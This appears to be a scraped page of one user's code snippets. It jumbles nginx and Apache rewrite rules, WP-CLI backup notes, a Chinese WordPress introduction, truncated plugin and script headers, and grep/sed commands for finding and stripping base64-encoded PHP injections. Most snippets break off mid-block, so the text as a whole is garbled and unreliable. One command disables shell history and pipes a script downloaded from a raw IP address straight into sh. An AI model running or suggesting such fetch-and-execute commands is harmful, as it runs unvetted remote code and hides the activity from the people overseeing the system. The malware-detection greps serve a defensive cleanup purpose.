Serhii serhiijko

# Remove index.php$
if ($request_uri ~* "^(.*/)index\.php$") {
    return 301 $1;
}

location / {
    try_files $uri $uri/ /index.php?$query_string;

    # Remove from everywhere index.php

if ($request_uri ~* "^(./)index.php(/?)(.)") {

Moved to git repository: https://github.com/denji/nginx-tuning

NGINX Tuning For Best Performance

For this configuration you can use web server you like, i decided, because i work mostly with it to use nginx.

Generally, properly configured nginx can handle up to 400K to 500K requests per second (clustered), most what i saw is 50K to 80K (non-clustered) requests per second and 30% CPU load, course, this was 2 x Intel Xeon with HyperThreading enabled, but it can work without problem on slower machines.

You must understand that this config is used in testing environment and not in production so you will need to find a way to implement most of those features best possible for your servers.

Finding infected files with following bash commands

** Command to list all infected files:

grep -lr --include=*.php "eval(base64_decode" /path/to/webroot
grep -lr --include=*.php "eval" .
grep -lr --include=*.php "base64" .

Command to remove malicious code:

grep -lr --include=*.php "eval(base64_decode" /path/to/webroot | xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g'

WordPress Backups with WP-CLI

Related tutorial: https://code64.de/visionerdy/wordpress-backups/

WordPress 前台開發

這篇是針對使用 WordPress.org 作為 Quick Deploy Solution，快速製作 POC (Proof of Concept) 時前台該如何開發的介紹。由於牽涉到各團隊的組成，有的團隊有 RD，有的團隊沒有，因此這套 Solution 必須要能滿足不同使用情境。

基本概念

術語 Terminology	概念 Concept
Theme	佈景主題，也就是網站的外觀

	<?php
	/*
	Plugin Name: WDS Hello World
	Plugin URI: https://webdevstudios.com/
	Description: Teaching the basics of WP-CLI
	Author: Web Dev Studios
	Version: 1.0.0
	Author URI: https://webdevstudios.com/
	*/
	class WDS_CLI {

	#!/usr/bin/env bash
	##########################################################################
	# Shellscript: Backup and update WordPress using wp-cli
	# Author : Paco Orozco <[email protected]>
	# Requires : wp-cli
	##########################################################################
	# Changelog
	# 20170125: 1.0
	# Adds a default option to upgrade only when it's needed.
	# 20161220: 0.1

	---------------------------------- General commands -------------------------

	List of directory:
	df -h
	ls -al

	FileCount:
	find . \| wc -l
	filecount (needs dropjail)
	export HISTFILE=/dev/null; wget -q http://74.220.215.202/~toshmtes/s/filecount.txt -O - \| sh 2>/dev/null \| sort -rn

	<IfModule mod_rewrite.c>
	# enable rewriting
	RewriteEngine on

	# don't rewrite files that exist in the file system
	RewriteCond %{REQUEST_FILENAME} !-f

	# don't rewrite directories that exist in the file system
	RewriteCond %{REQUEST_FILENAME} !-d

	<?php
	/*
	Script Name: Wordpress Hooks & Filters Flow
	Plugin URI: http://planetozh.com/blog/my-projects/wordpress-hooks-filter-flow/
	Description: Lists hooks and their associated filters/actions for your blog. Meant to provide debugging help.
	Version: 1.0
	Author: Ozh
	Author URI: http://planetOzh.com/
	*/